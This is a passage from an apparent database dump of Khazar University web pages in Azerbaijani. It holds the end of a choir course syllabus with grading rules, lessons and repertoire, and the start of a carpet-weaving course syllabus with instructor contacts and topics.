kredit</p><p>&nbsp;</p><p><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal<strong>&nbsp;</strong></p><p><strong>Aktivlik:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;</strong>20 bal</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Davamiyyət</strong></p><p>Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>&nbsp;</strong></p><p><strong>İmtahan qaydaları</strong></p><p>Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Fənni bitirmək qaydaları</strong></p><p>Universitetin qaydalarına müvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.</p><p><strong>Xor-&nbsp;</strong>Xor oxuma incəsənəti öz çoxəsrlik ənənələri və dərin mənəvi məzmunu ilə həm ifaçıların, həm də dinləyicilərin əxlaqi və intellektual əhval-ruhiyyəsinə güclü təsir edir, milli vokal və musiqi mədəniyyətinin etibarlı qalxanı sayılır, tələbələrin musiqi tərbiyəsini, ümumi mədəniyyətini yüksəldir və formalaşdırır. Musiqi və vokal istedadı olan tələbələrin xor mədəniyyətinə yiyələnməsi və oxuma bacarığının formalaşması Xəzər Universitəsinin Musiqi departamentində həyata keçirilir.Xor kollektivinin ifaçılıq məharəti təkmilləçdirilir, oxuma zamanı nəfəsalma və nəfəsvermə, xor terminləri və xor solfeciosu üzrə vokalizlərə böyük əhəmiyyət verilir.Zəngin xor mədəniyyətinin qorunub saxlanılması və inkişaf etdirilməsi, xor fənninin tədrisinin səviyyəsinin yüksəldilməsi,tələbələrdə&nbsp; xor sənətinə maraq oyadılması, xormeysterlərin yaradıcılıq fəaliyyətinin aktivləşdirilməsi və həvəsləndirilməsi məqsədilə kurs təşkil olunur.</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p><p><strong>Dərs proqramı</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"621\"><tbody><tr><td width=\"35\"><p>N</p></td><td width=\"441\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mövzu və tapşırıq</p></td><td width=\"47\"><p>saat</p></td></tr><tr><td width=\"35\"><p>1</p></td><td width=\"441\"><p>Səs üzrə işləmə</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>2</p></td><td width=\"441\"><p>Nəfəs genişlənmə ilə bağlı məşqələlər</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>3</p></td><td width=\"441\"><p>Səs məşğələri (müxtəlif intervallarla)</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>4</p></td><td width=\"441\"><p>Vokalizlər-a hərfi ilə və notların adını çəkərək oxumaq</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>5</p></td><td width=\"441\"><p>Sinə və beyin rezonatorlarının eyni dərəcədə səslənməsi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>6</p></td><td width=\"441\"><p>Bir not üzərindəbütün sait hərfləri oxunuşu</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>7</p></td><td width=\"441\"><p>Nəfəs tutumunun genişlənməsi üçün məşğələlər</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>8</p></td><td width=\"441\"><p>Artikulyasiya üzərində işləmələr</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>9</p></td><td width=\"441\"><p>Səs diapazonunun genişlənməsi üçün məşğlər</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>10</p></td><td width=\"441\"><p>Programsecimi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>11</p></td><td width=\"441\"><p>Azərbaycan bəstəkar mahnısının,vokal üzərində iş</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>12</p></td><td width=\"441\"><p>Ifa boyu nəfəs dayağı ilə ələqənin gorunub saxlanması</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>13</p></td><td width=\"441\"><p>Artikulyasiya</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>14</p></td><td width=\"441\"><p>Milli əsərlərin ifasında öz azərb.cəhətlərinin qorunması</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>15</p></td><td width=\"441\"><p>Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>16</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>17</p></td><td width=\"441\"><p>Secilmiş əsərlərin üstündə iş: diksiya,tələfüz.</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>18</p></td><td width=\"441\"><p>Programda olan əsərlərin təhlil olunması, Üzeyir Hacıbəyli O olmasın bu olsun operattasından Hamamnın içində xoru</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>19</p></td><td width=\"441\"><p>Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>20</p></td><td width=\"441\"><p>Bəstəkar mahnıların üstündə işləmələr&nbsp;O olmasın bu olsun operattasından Ey kimsən orda xoru</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>21</p></td><td width=\"441\"><p>Xariçi əsərlərinə sözlərin, hecaların və əsərin musiqi&nbsp; cümlələrinin&nbsp; üzərində&nbsp; işləmələr</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>22</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>23</p></td><td width=\"441\"><p>Obyektə təsir etmə elementlərinin aydınlaşması</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>24</p></td><td width=\"441\"><p>Məntiqi vurğuların icrasına diqqətin yetirilməsi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>25</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>26</p></td><td width=\"441\"><p>Dünya ifaçılarının nümunəvi iş prinsipindən sitatlar</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>27</p></td><td width=\"441\"><p>Seçilmiş əsərlərin təhlil olunması, Üzeyir Hacıbəyli, Müslüm Maqomayev-Azərbaycan xalq mahnılarının işləmələri</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>28</p></td><td width=\"441\"><p>İfaçılıqda ansambl.Müşayiətçı ilə qarşılıqlı anlaşma</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr><tr><td width=\"35\"><p>29</p></td><td width=\"441\"><p>İfaçılıqda səmimiyyətin aşılanması</p></td><td width=\"47\"><p>&nbsp;4</p></td></tr><tr><td width=\"35\"><p>30</p></td><td width=\"441\"><p>İmtahanda ifa olunacaq əsərlərə təkrar baxış</p></td><td width=\"47\"><p>&nbsp;2</p></td></tr></tbody></table><p>&nbsp;</p><p><strong>&nbsp;</strong></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>Cəmi : 64 saat<strong>&nbsp;</strong></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Repertuar</strong></p><p><strong>&nbsp;</strong></p><p>1.Ü.Hacıbəyli-Azərbaycan Respublikasının Dövlət himni</p><p>2.Türkiyənin istiqlal marşı</p><p>3.Ü.Hacıbəyli-O olmasın bu olsun operettasından \"Hamamın içində\"</p><p>4.Ü.Hacıbəyli-O olmasın bu olsun operettasından \"Ey kimsən orda\"</p><p>5.T.Quluyev-“Axşam oldu”</p><p>6. Üzeyir Hacıbəyli \"Leyli və Məcnun\" operasından \"Şəb\'i Hicran\" xoru</p><p>7.Ü.Hacıbəyli-Azərbaycan Xalq Mahnıları Solist və Xor işləmələri</p><p>“Aman nənə”</p><p>“Bəri Bax”</p><p>“Nə gözəldir”</p><p>8.Azərbaycan Xalq Mahnıları</p><p>“Tello”</p><p>“Muleyli”</p><div><br></div></div></div>  <br></div>'),(1238,763,'en','Sillabus','Sillabus','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>X</strong><strong>ƏZƏR UNİVERSİTETİ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>HUMANİTAR VƏ SOSİAL ELMLƏR DEPARTAMAENTİ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>MUSİQİ VƏ DEKORATİV TƏTBİQİ İNCƏSƏNƏT</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>XALÇAÇI&nbsp;&nbsp; RƏSSAM</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>İXTİSASI ÜZRƏ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>TƏDRİS PROQRAMI</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>MÜƏLLİM HAQQINDA QISA MƏLUMAT</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Fənn:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Xalçaçılıq</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Müəllim:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Afaq Kərimova</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">iş otağı:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Telefon:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 598-38-81. Mob.050-671 -40-17</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">E-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:a.afaq_kerimova@mail.ru\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">a.afaq_kerimova@mail.ru</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"text-decoration:underline\">&nbsp;</span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Əsas dərsliklər</strong></span><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalçası I</li><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalçası II</li><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalcası III</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Anaxanım Əliyeva- Azərbaycan xovlu xalçaları XIX-XX əsr</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Rasim Əfəndi-Azərbaycan dekorativ-tətbiqi sənətləri. 1976</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Proqram haqqında</strong><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Xalçaçılıq Azərbaycan xalq tətbiqi sənətinin ən qədim və ən geniş yayılmış növüdür.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Hazırda yüzlərlə ornamental, süjetli xalı və xalça dünyanın böyük muzeylərində, kolleksionerlərdə yaşamaqda və mənsub olduğu xalqın milli ləyaqətini yaşatmaqdadır.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Bu proqramda məqsəd tələbələri xalçaçılıq sənətinin keçmişi və bu günü ilə tanış etmək, xovsuz və xovlu xalçaların texnoloji və bədii cəhətlərini<sub>,&nbsp;</sub>fərdi kompozisiyaları tədris etmək, Azərbaycan xalçalarının tipləri və qrupları üzrə bölünən xalçalarla tanış etməkdir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbələr milli ornament və kompozisiyaları mənimsə-yərək, d.t.sənətinin müxtəlif sahələrində çalışa biləcəklər.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Fənnin tədrisi</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>II semestr 2015</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Mövzular</strong></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">saat</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Giriş Xalçanın yaranışı və tarixi haqqında məlumat</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dəzğah, alətlər, əriş, arğac.yun, ipək və çeşni</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ilə tanışlıq</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Həndəsi və nəbati ornamentlər haqqında məlumat</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">3.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Sadə və mürəkkəb butalar.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Texnoloğiya (toxuculuq dərsi)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament tədrisi</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sadə islimi, mürəkkəb islimilər ( haçalı, qanadlı, butalı və.s)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">5.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Sadə və mürəkkəb biçəklər.&nbsp; Xalçanin əsasınin (ərişin) çəkilməsi prosesi.</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">6.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament. Xətai ornamenti, sadə və mürəkkəb quruluşlu</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kompozisiyalar, kətəbə.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Texnoloğiya</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">7.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament. Ğöl, bulud, su ornamenti Sadədən mürəkkəbə keçidi.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Texnoloğiya</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">8.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Keçilmiş orn.lərdən ibarət kompozisiyaların hazırlanması.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kompozisiyaların istehsalat ölçülərinin izahı,</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Çeşni hazırlığı.</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">9.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Aralıq imtahanı</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">10</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Xovsuz və xovlu xalçalar, xalçanın tipləri və qrupları haqqında məlumat</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">11</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Tədris edilmiş ornamenilərdən ibarət klassik kompozisiyalar hazırlamaq, Texnologiya-(toxuculuq dərsi)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">12</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Kompozisiya (ləçək-türünc)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">13</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp; (islimi- bəndlik)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">14</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp;&nbsp;&nbsp; (əfşan)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">15</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp; (ağaclı, butalı)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">16</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp; (adda-budda)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">17</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________ (xətai)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td colspan=\"3\" width=\"716\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Yekun imtahanı (layihə və texnologiya nümunələrinə baxış)</strong></p></td></tr></tbody></table><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Fənnin tədrisi</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ğiriş - Xalçanın yaranışı və tarixi haqqında məlumat</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Dəzğah, alətlər, əriş, arğac.yun, ipək və çeşni ilə tanışlıq.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Həndəsi və nəbati ornamentlər haqqında məlumat.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Sadə və mürəkkəb butalar.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya (toxuculuq dərsi)</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament tədrisi.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Sadə islimi, mürəkkəb islimilər ( 